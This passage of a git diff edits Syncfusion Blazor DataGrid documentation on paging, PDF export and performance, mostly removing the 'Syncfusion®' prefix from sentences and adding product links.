-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows control over the number of records displayed per page. Use the [PageSize](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageSize) property in [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings) to specify the initial page size. By default, **PageSize is 12**.
+The Blazor DataGrid allows control over the number of records displayed per page. Use the [PageSize](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageSize) property in [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings) to specify the initial page size. By default, **PageSize is 12**.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -127,7 +127,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows cont
 
 ### Change the page count
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows adjusting the number of numeric buttons displayed in the pager. By default, **PageCount is 8**.
+The Blazor DataGrid allows adjusting the number of numeric buttons displayed in the pager. By default, **PageCount is 8**.
 
 To change the page count, use the [PageCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageCount) property in [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings), which defines how many pages are shown in the pager container.
 
@@ -232,7 +232,7 @@ public class OrderData
 
 ### Change the current page
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows changing the currently displayed page, either on initial render or based on interactions or conditions. By default, **CurrentPage is 1**.
+The Blazor DataGrid allows changing the currently displayed page, either on initial render or based on interactions or conditions. By default, **CurrentPage is 1**.
 
 To change the current page, use the [CurrentPage](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_CurrentPage) property in [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings), which sets the current page number.
 
@@ -337,7 +337,7 @@ public class OrderData
 
 ## Pager template
 
-The pager template in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the appearance and behavior of the pager by using custom elements instead of default items.
+The pager template in Blazor DataGrid allows customizing the appearance and behavior of the pager by using custom elements instead of default items.
 
 To use the pager template, specify the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_Template) property of the [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html) component. Within the template, the context provides access to values such as [CurrentPage](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_CurrentPage), [PageSize](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageSize), [PageCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageCount), [TotalPages](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.PagerTemplateContext.html#Syncfusion_Blazor_Navigations_PagerTemplateContext_TotalPages), and [TotalItemsCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.PagerTemplateContext.html#Syncfusion_Blazor_Navigations_PagerTemplateContext_TotalItemsCount).
 
@@ -440,11 +440,11 @@ public class OrderData
 {% previewsample "https://blazorplayground.syncfusion.com/embed/BNheXEKNqEnQEOmc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
 > * Inside the `Template` RenderFragment, access parameters using the implicit parameter named context, which is of type [PagerTemplateContext](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.PagerTemplateContext.html) API.
-> * Refer to the [Blazor Grid Pager Template](https://blazor.syncfusion.com/demos/datagrid/pager-template) online demo showcasing the Pager Template feature in the Syncfusion Blazor DataGrid.
+> * Refer to the [Blazor Grid Pager Template](https://blazor.syncfusion.com/demos/datagrid/pager-template) online demo showcasing the Pager Template feature in the Blazor DataGrid.
 
 ## Pager with page size dropdown
 
-The pager with a page size dropdown in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows dynamically changing the number of records displayed in the Grid.
+The pager with a page size dropdown in Blazor DataGrid allows dynamically changing the number of records displayed in the Grid.
 
 To enable the page size dropdown, set the [PageSizes](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageSizes) property to true in [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings). This renders a dropdown list within the pager to select the desired page size. The selected value determines the number of records displayed on each page.
 
@@ -524,11 +524,11 @@ public class OrderData
 
 > * If the PageSizes property is set to a boolean value (true or false), the page size dropdown defaults to options such as [‘All’, ‘5’, ‘10’, ‘15’, ‘20’].
 > * Refer to the [Blazor Grid Paging](https://www.syncfusion.com/blazor-components/blazor-datagrid/paging) feature tour for an overview of paging.
-> * Refer to the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) feature tour and the [Blazor DataGrid example](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5) to understand data presentation and manipulation.
+> * Refer to the Blazor DataGrid feature tour and the [Blazor DataGrid example](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5) to understand data presentation and manipulation.
 
 ### Customize page size dropdown
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the default values in the page size dropdown. To do this, define the [PageSizes](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageSizes) property as an array of strings instead of a boolean.
+The Blazor DataGrid allows customizing the default values in the page size dropdown. To do this, define the [PageSizes](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageSizes) property as an array of strings instead of a boolean.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -603,7 +603,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows cust
 
 ## How to navigate to particular page
 
-Navigating to a particular page in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is useful when dealing with large datasets, enabling quick jumps to specific pages.
+Navigating to a particular page in the Blazor DataGrid is useful when dealing with large datasets, enabling quick jumps to specific pages.
 
 To navigate programmatically, use the [GoToPageAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GoToPageAsync_System_Int32_) method.
 
@@ -926,7 +926,7 @@ In the following sample, `Pager` component is rendered above the Grid. Initially
 
 ## Pager events
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid triggers two pager events during paging actions:
+The Blazor DataGrid triggers two pager events during paging actions:
 
 [PageChanging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_PageChanging) - Triggered before any paging action (such as changing the page or page size). Use this event to customize or control paging behavior.
 
diff --git a/blazor/datagrid/pdf-export-options.md b/blazor/datagrid/pdf-export-options.md
index fce65d6ebd..8da1a9938f 100644
--- a/blazor/datagrid/pdf-export-options.md
+++ b/blazor/datagrid/pdf-export-options.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # PDF export options in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports extensive PDF export customization to control content and layout for reporting requirements. The export behavior is configured using the [PdfExportProperties](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html) class. This configuration enables:
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports extensive PDF export customization to control content and layout for reporting requirements. The export behavior is configured using the [PdfExportProperties](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html) class. This configuration enables:
 
 * Exporting current, selected, or filtered rows.
 * Including or excluding hidden columns.
@@ -19,7 +19,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports ex
 
 ## Export current page records
 
-Exporting the current page records from the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid generates a PDF document that includes only the rows currently visible in the grid. This approach is useful for capturing a snapshot of the paginated view rather than exporting the entire dataset.
+Exporting the current page records from the Blazor DataGrid generates a PDF document that includes only the rows currently visible in the grid. This approach is useful for capturing a snapshot of the paginated view rather than exporting the entire dataset.
 
 To configure this behavior:
 
@@ -132,7 +132,7 @@ public class EmployeeData
 
 ## Export selected records
 
-Exporting selected records from the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables generating a PDF document that includes only specific rows. This approach supports focused exports based on selection.
+Exporting selected records from the Blazor DataGrid enables generating a PDF document that includes only specific rows. This approach supports focused exports based on selection.
 
 To export selected records:
 
@@ -228,7 +228,7 @@ public class OrderData
 
 ## Export filtered records
 
-Exporting filtered records from the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid generates a PDF document that includes only rows matching the active filter criteria. This approach is useful for exporting refined data views.
+Exporting filtered records from the Blazor DataGrid generates a PDF document that includes only rows matching the active filter criteria. This approach is useful for exporting refined data views.
 
 To export filtered records:
 
@@ -323,7 +323,7 @@ public class OrderData
 
 ## Export with hidden columns
 
-Exporting hidden columns from the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows including columns that are not visible in the UI but are required in the exported PDF document. This approach ensures complete data representation even when certain columns are hidden for display purposes.
+Exporting hidden columns from the Blazor DataGrid allows including columns that are not visible in the UI but are required in the exported PDF document. This approach ensures complete data representation even when certain columns are hidden for display purposes.
 
 To include hidden columns during export:
 
@@ -432,7 +432,7 @@ public class OrderData
 
 ## Show or hide columns while exporting
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows dynamically **showing** or **hiding** columns during PDF export based on specific requirements. This approach is useful when certain columns should appear only in the exported document.
+The Blazor DataGrid allows dynamically **showing** or **hiding** columns during PDF export based on specific requirements. This approach is useful when certain columns should appear only in the exported document.
 
 To show or hide columns during export:
 
@@ -540,7 +540,7 @@ public class OrderData
 
 ## Change page orientation
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports changing the PDF [page orientation](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PageOrientation.html) to fit different layouts. This feature is useful for exporting wide datasets that require more horizontal space.
+The Blazor DataGrid supports changing the PDF [page orientation](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PageOrientation.html) to fit different layouts. This feature is useful for exporting wide datasets that require more horizontal space.
 
 **Supported options for PageOrientation**:
 
@@ -665,7 +665,7 @@ public class OrderData
 
 ## Change page size
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the page size of the exported PDF document to fit different paper formats or printing requirements.
+The Blazor DataGrid allows customizing the page size of the exported PDF document to fit different paper formats or printing requirements.
 
 **Supported options for PdfPageSize**:
 
@@ -832,7 +832,7 @@ public class OrderData
 
 ## Define file name
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows specifying a custom file name for the exported PDF document. This feature is useful for generating reports with meaningful names.
+The Blazor DataGrid allows specifying a custom file name for the exported PDF document. This feature is useful for generating reports with meaningful names.
 
 To configure a custom file name:
 
@@ -921,7 +921,7 @@ public class OrderDetails
 
 ## Enabling horizontal overflow
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports enabling horizontal overflow during PDF export to display all columns on a single page, even when the number of columns exceeds the default width. This feature is useful for exporting wide grids without column wrapping.
+The Blazor DataGrid supports enabling horizontal overflow during PDF export to display all columns on a single page, even when the number of columns exceeds the default width. This feature is useful for exporting wide grids without column wrapping.
 
 To configure horizontal overflow:
 
@@ -1032,7 +1032,7 @@ public class OrderData
 
 ## Customizing columns on export
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing which columns appear in the exported PDF file. This helps adjust column headers, alignment, and formatting based on export requirements.
+The Blazor DataGrid allows customizing which columns appear in the exported PDF file. This helps adjust column headers, alignment, and formatting based on export requirements.
 
 To customize columns during PDF export:
 
@@ -1133,7 +1133,7 @@ public class OrderData
 
 ### Customize column width in exported PDF document
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides an option to define custom column widths during PDF export. This is achieved by setting the [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Width) property for each column in the [PdfExportProperties.Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html#Syncfusion_Blazor_Grids_PdfExportProperties_Columns) collection and enabling [DisableAutoFitWidth](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html#Syncfusion_Blazor_Grids_PdfExportProperties_DisableAutoFitWidth).
+The Blazor DataGrid provides an option to define custom column widths during PDF export. This is achieved by setting the [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Width) property for each column in the [PdfExportProperties.Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html#Syncfusion_Blazor_Grids_PdfExportProperties_Columns) collection and enabling [DisableAutoFitWidth](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html#Syncfusion_Blazor_Grids_PdfExportProperties_DisableAutoFitWidth).
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -1218,7 +1218,7 @@ public class OrderData
 
 ## Font and color customization
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports applying font and color styles to the exported PDF document. This helps maintain a consistent and readable appearance for exported data.
+The Blazor DataGrid supports applying font and color styles to the exported PDF document. This helps maintain a consistent and readable appearance for exported data.
 
 To apply styling:
 
@@ -1244,7 +1244,7 @@ N> By default, **Material** theme is applied to the exported PDF document.
 
 ### Default fonts
 
-By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid uses the **Helvetica** font in the exported PDF document. The default font can be changed by configuring the [Theme](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html#Syncfusion_Blazor_Grids_PdfExportProperties_Theme) property of the [PdfExportProperties](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html) class.
+By default, the Blazor DataGrid uses the **Helvetica** font in the exported PDF document. The default font can be changed by configuring the [Theme](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html#Syncfusion_Blazor_Grids_PdfExportProperties_Theme) property of the [PdfExportProperties](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html) class.
 
 **Available default fonts**:
 
@@ -1376,7 +1376,7 @@ public class OrderData
 
 ### Add custom font
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports embedding a custom font in the exported PDF document for **captions**, **headers**, and **record** content. This is useful for branding or applying unique typography.
+The Blazor DataGrid supports embedding a custom font in the exported PDF document for **captions**, **headers**, and **record** content. This is useful for branding or applying unique typography.
 
 **Steps to configure**
 
@@ -1508,7 +1508,7 @@ public class OrderData
 
 ## Rotate a header text in the exported PDF document
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports customizing header rendering in the exported PDF document, including rotating header text. Rotation is achieved using the [PdfExportProperties.BeginCellLayout](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html#Syncfusion_Blazor_Grids_PdfExportProperties_BeginCellLayout) event to draw rotated text and the [PdfHeaderQueryCellInfo](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_PdfHeaderQueryCellInfoEvent) event to capture header values.
+The Blazor DataGrid supports customizing header rendering in the exported PDF document, including rotating header text. Rotation is achieved using the [PdfExportProperties.BeginCellLayout](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html#Syncfusion_Blazor_Grids_PdfExportProperties_BeginCellLayout) event to draw rotated text and the [PdfHeaderQueryCellInfo](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_PdfHeaderQueryCellInfoEvent) event to capture header values.
 
 To rotate header text, configure
 
@@ -1667,7 +1667,7 @@ public class OrderData
 
 ## Exporting Blazor DataGrid data as stream
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting Grid data as a memory stream for PDF export, enabling programmatic handling before saving or processing. This includes:
+The Blazor DataGrid supports exporting Grid data as a memory stream for PDF export, enabling programmatic handling before saving or processing. This includes:
 
 * Exporting Grid data as a memory stream.
 * Converting the memory stream to a file stream for saving.
@@ -1837,7 +1837,7 @@ public class OrderData
 
 ### Converting memory stream to file stream for PDF export
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports converting a memory stream obtained from PDF export into a file stream for saving the document to a specified location. This approach is suitable for server-side scenarios that require persisting the exported file.
+The Blazor DataGrid supports converting a memory stream obtained from PDF export into a file stream for saving the document to a specified location. This approach is suitable for server-side scenarios that require persisting the exported file.
 
 To save the exported PDF file locally:
 
@@ -1946,7 +1946,7 @@ To save the exported PDF file locally:
 
 ### Merging two PDF memory streams
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports merging multiple PDF memory streams into a single document by using the [Merge](https://help.syncfusion.com/cr/document-processing/Syncfusion.Pdf.PdfDocumentBase.html#Syncfusion_Pdf_PdfDocumentBase_Merge_Syncfusion_Pdf_PdfDocumentBase_Syncfusion_Pdf_Parsing_PdfLoadedDocument_) from [PdfDocumentBase](https://help.syncfusion.com/cr/document-processing/Syncfusion.Pdf.PdfDocumentBase.html) class. This functionality enables combining content from different exports into one consolidated PDF file, use the [Syncfusion.Pdf](https://www.nuget.org/packages/Syncfusion.Pdf.Net.Core) library to merge streams into a single document.
+The Blazor DataGrid supports merging multiple PDF memory streams into a single document by using the [Merge](https://help.syncfusion.com/cr/document-processing/Syncfusion.Pdf.PdfDocumentBase.html#Syncfusion_Pdf_PdfDocumentBase_Merge_Syncfusion_Pdf_PdfDocumentBase_Syncfusion_Pdf_Parsing_PdfLoadedDocument_) from [PdfDocumentBase](https://help.syncfusion.com/cr/document-processing/Syncfusion.Pdf.PdfDocumentBase.html) class. This functionality enables combining content from different exports into one consolidated PDF file, use the [Syncfusion.Pdf](https://www.nuget.org/packages/Syncfusion.Pdf.Net.Core) library to merge streams into a single document.
 
 In this configuration, two memory streams are used:
 
diff --git a/blazor/datagrid/pdf-export.md b/blazor/datagrid/pdf-export.md
index 06cf81d662..901510290d 100644
--- a/blazor/datagrid/pdf-export.md
+++ b/blazor/datagrid/pdf-export.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # PDF export in Blazor DataGrid 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides a built-in feature to export grid data to a **PDF document**. This functionality is useful for generating printable reports or sharing data in a standardized format.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides a built-in feature to export grid data to a **PDF document**. This functionality is useful for generating printable reports or sharing data in a standardized format.
 To enable PDF export:
 
 * Set the [AllowPdfExport](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowPdfExport) property to **true**.
@@ -94,7 +94,7 @@ public class OrderDetails
 
 ## Show spinner while exporting
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports displaying a spinner during PDF export to indicate that the operation is in progress. This improves the experience by providing visual feedback while the export is being processed.
+The Blazor DataGrid supports displaying a spinner during PDF export to indicate that the operation is in progress. This improves the experience by providing visual feedback while the export is being processed.
 
 To show and hide the spinner:
 
@@ -188,7 +188,7 @@ public class OrderDetails
 
 ## Binding custom data source while exporting
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting to PDF using a custom data source. This feature allows exporting data that is not currently bound to the grid and can be generated dynamically based on application logic.
+The Blazor DataGrid supports exporting to PDF using a custom data source. This feature allows exporting data that is not currently bound to the grid and can be generated dynamically based on application logic.
 
 To use a custom data source during export:
 
@@ -332,7 +332,7 @@ public class ChangeData
 
 ## Exporting with custom aggregate
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting grid data with custom aggregates. This feature enables including calculated values in the exported PDF, providing a comprehensive view for reporting or analysis.
+The Blazor DataGrid supports exporting grid data with custom aggregates. This feature enables including calculated values in the exported PDF, providing a comprehensive view for reporting or analysis.
 
 To apply a custom aggregate during export:
 
@@ -451,7 +451,7 @@ public class OrderDetails
 
 ## Exporting with custom date format
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports applying custom date formats when exporting data to PDF. This feature ensures that dates in the exported document follow a specific presentation format required for reporting or compliance.
+The Blazor DataGrid supports applying custom date formats when exporting data to PDF. This feature ensures that dates in the exported document follow a specific presentation format required for reporting or compliance.
 
 To apply a custom date format:
 
@@ -554,7 +554,7 @@ public class OrderData
 
 ## Passing additional parameters to the server when exporting
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows passing additional parameters during PDF export. This capability provides flexibility to include extra information or customize the export process based on application requirements.
+The Blazor DataGrid allows passing additional parameters during PDF export. This capability provides flexibility to include extra information or customize the export process based on application requirements.
 
 To pass additional parameters:
 
diff --git a/blazor/datagrid/performance.md b/blazor/datagrid/performance.md
index 4043fbec83..d7ae5ad8a0 100644
--- a/blazor/datagrid/performance.md
+++ b/blazor/datagrid/performance.md
@@ -9,11 +9,11 @@ documentation: ug
 
 # Performance Optimization for Syncfusion Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides advanced features for displaying and managing large collections of data. When working with extensive datasets or grids containing numerous columns, performance optimization becomes essential to ensure responsive rendering and smooth interactions. This guide outlines proven strategies and best practices for improving DataGrid performance during data binding and rendering operations.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides advanced features for displaying and managing large collections of data. When working with extensive datasets or grids containing numerous columns, performance optimization becomes essential to ensure responsive rendering and smooth interactions. This guide outlines proven strategies and best practices for improving DataGrid performance during data binding and rendering operations.
 
 ## How to improve loading performance by binding large dataset
 
-Rendering large collections in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can impact performance because each cell is treated as an individual Blazor component. To maintain responsiveness and reduce rendering overhead, apply the following optimization techniques:
+Rendering large collections in the Blazor DataGrid can impact performance because each cell is treated as an individual Blazor component. To maintain responsiveness and reduce rendering overhead, apply the following optimization techniques:
 
 **Key performance optimization techniques**
 
@@ -40,7 +40,7 @@ For detailed implementation, refer to the paging [documentation](https://blazor.
 
 ### Optimizing performance with row virtualization or infinite scrolling
 
-Rendering large collections in a single view can significantly impact performance. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports techniques that load data on demand, reducing rendering overhead:
+Rendering large collections in a single view can significantly impact performance. The Blazor DataGrid supports techniques that load data on demand, reducing rendering overhead:
 
 **1. Row virtualization**
 
@@ -58,7 +58,7 @@ Both techniques are effective for handling large collections without compromisin
 
 ### Optimizing performance with column virtualization in large no of columns
 
-[Column virtualization](https://blazor.syncfusion.com/documentation/datagrid/virtualization#column-virtualization) in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid optimizes rendering by displaying only the columns currently visible within the viewport. Additional columns are loaded dynamically as the user scrolls horizontally. This approach significantly reduces initial load time and improves responsiveness when working with grids that contain a large number of columns.
+[Column virtualization](https://blazor.syncfusion.com/documentation/datagrid/virtualization#column-virtualization) in the Blazor DataGrid optimizes rendering by displaying only the columns currently visible within the viewport. Additional columns are loaded dynamically as the user scrolls horizontally. This approach significantly reduces initial load time and improves responsiveness when working with grids that contain a large number of columns.
 
 Both **row** and **column** virtualization can be enabled together to handle large collections efficiently. This combination ensures that only visible rows and columns are rendered, minimizing DOM elements and enhancing overall performance.
 
@@ -66,7 +66,7 @@ For more information on implementing column virtualization, refer to the [docume
 
 ### How to overcome browser height limitation in virtual scrolling
 
-When virtual scrolling is enabled, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid calculates its height using the formula:
+When virtual scrolling is enabled, the Blazor DataGrid calculates its height using the formula:
 
 > **Total height = Total record count × RowHeight**
 
@@ -101,7 +101,7 @@ For more details on SignalR configuration, refer to the [official documentation]
 
 ## How to improve performance of Blazor DataGrid in WASM application
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be optimized for efficient rendering in Blazor WebAssembly applications. Following best practices helps reduce unnecessary rendering and improve responsiveness.
+The Blazor DataGrid can be optimized for efficient rendering in Blazor WebAssembly applications. Following best practices helps reduce unnecessary rendering and improve responsiveness.
 
 **Recommended Practices**
 
@@ -117,7 +117,7 @@ For additional guidelines, refer to the official Blazor WebAssembly performance
 
 ## How to improve loading performance by binding data from service
 
-When binding data from a service to the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, consider the following approaches to optimize performance:
+When binding data from a service to the Blazor DataGrid, consider the following approaches to optimize performance:
 
 **Recommended Practices**
 
@@ -147,7 +147,7 @@ For more details, refer to:
 
 ## How to update cell values without frequent server calls 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows updating cell values efficiently without triggering frequent server calls. This approach is useful for live update scenarios where data is initially bound from the server but subsequent edits should not refresh the database.
+The Blazor DataGrid allows updating cell values efficiently without triggering frequent server calls. This approach is useful for live update scenarios where data is initially bound from the server but subsequent edits should not refresh the database.
 
 Use the [SetRowDataAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SetRowDataAsync_System_Object__0_System_Boolean_) method to update the Grid UI without affecting the underlying data source. To prevent database updates, pass **true** for the `preventDataUpdate` argument. Additionally, cancel built-in edit operations by setting **args.Cancel** to **true**.
 
@@ -167,7 +167,7 @@ public async Task OnClick()
 
 ## How to optimize server-side data operations with adaptors
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports multiple adaptors such as [OData](https://blazor.syncfusion.com/documentation/datagrid/data-binding/remote-data#binding-with-odata-services), [ODataV4](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/odatav4-adaptor), [WebAPI](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/web-api-adaptor), and [URL](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/url-adaptor) for performing server-side data operations and CRUD actions. These adaptors work with the [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) component to bind remote data sources and execute operations efficiently.
+The Blazor DataGrid supports multiple adaptors such as [OData](https://blazor.syncfusion.com/documentation/datagrid/data-binding/remote-data#binding-with-odata-services), [ODataV4](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/odatav4-adaptor), [WebAPI](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/web-api-adaptor), and [URL](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/url-adaptor) for performing server-side data operations and CRUD actions. These adaptors work with the [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) component to bind remote data sources and execute operations efficiently.
 
 During actions like **filtering**, **sorting**, **paging**, and **grouping**, the Grid generates queries based on the adaptor configuration. The application must process these queries and return the appropriate data to the Grid. For optimal performance, handle operations in the following order:
 
diff --git a/blazor/datagrid/persisting-data-in-server.md b/blazor/datagrid/persisting-data-in-server.md
index a00adf380c..8b108e18b9 100644
--- a/blazor/datagrid/persisting-data-in-server.md
+++ b/blazor/datagrid/persisting-data-in-server.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Persisting data in the server in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports persisting data changes to a server or database using RESTful web services. All CRUD operations Create, Read, Update, and Delete are managed by the [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html), which enables seamless communication with server-side data sources. This configuration ensures that changes made in the Grid UI are reliably synchronized with the backend.
